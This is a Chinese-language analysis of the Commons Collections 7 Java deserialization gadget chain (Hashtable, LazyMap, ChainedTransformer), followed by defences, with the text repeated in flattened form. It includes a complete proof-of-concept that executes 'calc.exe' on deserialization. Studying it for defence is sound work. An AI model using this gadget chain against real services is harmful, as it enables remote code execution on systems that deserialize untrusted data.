Java安全 CC链7分析
字数 1560 2025-08-18 17:33:05

Commons Collections 7 反序列化漏洞分析

漏洞概述

Commons Collections 7 (CC7) 是 Apache Commons Collections 库中的一个反序列化漏洞,与 CC1 类似,但触发 LazyMap.get() 方法的流程不同。CC7 通过 Hashtable 类触发漏洞,利用链如下:

Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut -> LazyMap.equals
    (LazyMap 未实现 equals,找父类 AbstractMapDecorator.equals)
    AbstractMapDecorator.equals -> HashMap.equals
        (HashMap 未实现 equals,找父类 AbstractMap.equals)
    AbstractMap.equals -> LazyMap.get
        ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()

漏洞利用链分析

1. 反序列化起点 - Hashtable.readObject

Hashtable 的反序列化入口是 readObject 方法:

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    // 读取基本属性
    s.defaultReadObject();
    
    // 读取原始数组长度和元素数量
    int origlength = s.readInt();
    int elements = s.readInt();
    
    // 计算新的大小
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    // ... 长度调整逻辑 ...
    
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;
    
    // 读取所有键值对
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
        
        // 关键点:调用 reconstitutionPut 方法
        reconstitutionPut(table, key, value);
    }
}

2. Hashtable.reconstitutionPut 方法

reconstitutionPut 方法负责将键值对放入哈希表:

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    
    // 确保键不在哈希表中
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    
    for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    
    // 创建新条目
    @SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

3. 触发 LazyMap.equals

漏洞触发的关键在于 e.key.equals(key) 这一行:

  1. 第一次调用 reconstitutionPut 时,tab 为空,直接存入键值对
  2. 第二次调用时,会检查键是否已存在,调用 e.key.equals(key)
    • e.key 是第一个 LazyMap (map1)
    • key 是第二个 LazyMap (map2)

4. 方法调用链

LazyMap 没有实现 equals 方法,调用链如下:

  1. LazyMap.equals → 调用父类 AbstractMapDecorator.equals
  2. AbstractMapDecorator.equals → 调用 map.equals(object)
    • map 是创建 LazyMap 时传入的 HashMap
  3. HashMap.equals → 调用父类 AbstractMap.equals

5. AbstractMap.equals 关键点

AbstractMap.equals 方法的关键部分:

public boolean equals(Object o) {
    // ... 省略部分代码 ...
    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key))) // 关键点:调用 LazyMap.get
                    return false;
            }
        }
    }
    // ... 省略部分代码 ...
}

这里会调用 m.get(key),其中 m 是我们的第二个 LazyMap,从而触发 LazyMap.get 方法。

POC 分析

package com.ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CommonCollections7 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 构造 Transformer 链
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"})
        });
        
        // 创建两个 HashMap
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        
        // 装饰为 LazyMap
        Map map1 = LazyMap.decorate(hashMap1, transformerChain);
        map1.put("1", 1);
        
        Map map2 = LazyMap.decorate(hashMap2, transformerChain);
        map2.put("2", 2);
        
        // 创建 Hashtable 并放入两个 LazyMap
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, 1);
        hashtable.put(map2, 2);
        
        // 序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashtable);
        byteArrayOutputStream.flush();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        
        // 反序列化触发漏洞
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

关键步骤解析

  1. Transformer 链构造

    • 使用 ChainedTransformer 组合多个 Transformer
    • 最终执行 Runtime.getRuntime().exec("calc.exe")
  2. LazyMap 创建

    • 创建两个 HashMap 并装饰为 LazyMap
    • 分别放入不同的键值对 ("1",1"2",2)
  3. Hashtable 利用

    • 将两个 LazyMap 作为键放入 Hashtable
    • 序列化后再反序列化时触发漏洞
  4. 漏洞触发流程

    • 反序列化时 Hashtable.readObject 调用 reconstitutionPut
    • reconstitutionPut 中比较两个 LazyMap 时调用 equals
    • equals 方法最终调用 LazyMap.get
    • LazyMap.get 触发 Transformer 链执行命令

防御措施

  1. 升级 Apache Commons Collections 到安全版本
  2. 使用 Java 反序列化过滤器 (ObjectInputFilter)
  3. 避免反序列化不可信数据
  4. 使用白名单机制限制可反序列化的类

总结

CC7 漏洞利用 Hashtable 反序列化时比较键的特性,通过 LazyMap.equals 方法调用链最终触发 LazyMap.get 方法执行恶意代码。与 CC1 相比,CC7 提供了另一种触发 LazyMap.get 的路径,增加了漏洞利用的灵活性。理解这一漏洞有助于更好地防御 Java 反序列化攻击。

Commons Collections 7 反序列化漏洞分析 漏洞概述 Commons Collections 7 (CC7) 是 Apache Commons Collections 库中的一个反序列化漏洞,与 CC1 类似,但触发 LazyMap.get() 方法的流程不同。CC7 通过 Hashtable 类触发漏洞,利用链如下: 漏洞利用链分析 1. 反序列化起点 - Hashtable.readObject Hashtable 的反序列化入口是 readObject 方法: 2. Hashtable.reconstitutionPut 方法 reconstitutionPut 方法负责将键值对放入哈希表: 3. 触发 LazyMap.equals 漏洞触发的关键在于 e.key.equals(key) 这一行: 第一次调用 reconstitutionPut 时, tab 为空,直接存入键值对 第二次调用时,会检查键是否已存在,调用 e.key.equals(key) e.key 是第一个 LazyMap (map1) key 是第二个 LazyMap (map2) 4. 方法调用链 LazyMap 没有实现 equals 方法,调用链如下: LazyMap.equals → 调用父类 AbstractMapDecorator.equals AbstractMapDecorator.equals → 调用 map.equals(object) map 是创建 LazyMap 时传入的 HashMap HashMap.equals → 调用父类 AbstractMap.equals 5. AbstractMap.equals 关键点 AbstractMap.equals 方法的关键部分: 这里会调用 m.get(key) ,其中 m 是我们的第二个 LazyMap ,从而触发 LazyMap.get 方法。 POC 分析 关键步骤解析 Transformer 链构造 : 使用 ChainedTransformer 组合多个 Transformer 最终执行 Runtime.getRuntime().exec("calc.exe") LazyMap 创建 : 创建两个 HashMap 并装饰为 LazyMap 分别放入不同的键值对 ( "1",1 和 "2",2 ) Hashtable 利用 : 将两个 LazyMap 作为键放入 Hashtable 序列化后再反序列化时触发漏洞 漏洞触发流程 : 反序列化时 Hashtable.readObject 调用 reconstitutionPut reconstitutionPut 中比较两个 LazyMap 时调用 equals equals 方法最终调用 LazyMap.get LazyMap.get 触发 Transformer 链执行命令 防御措施 升级 Apache Commons Collections 到安全版本 使用 Java 反序列化过滤器 (ObjectInputFilter) 避免反序列化不可信数据 使用白名单机制限制可反序列化的类 总结 CC7 漏洞利用 Hashtable 反序列化时比较键的特性,通过 LazyMap.equals 方法调用链最终触发 LazyMap.get 方法执行恶意代码。与 CC1 相比,CC7 提供了另一种触发 LazyMap.get 的路径,增加了漏洞利用的灵活性。理解这一漏洞有助于更好地防御 Java 反序列化攻击。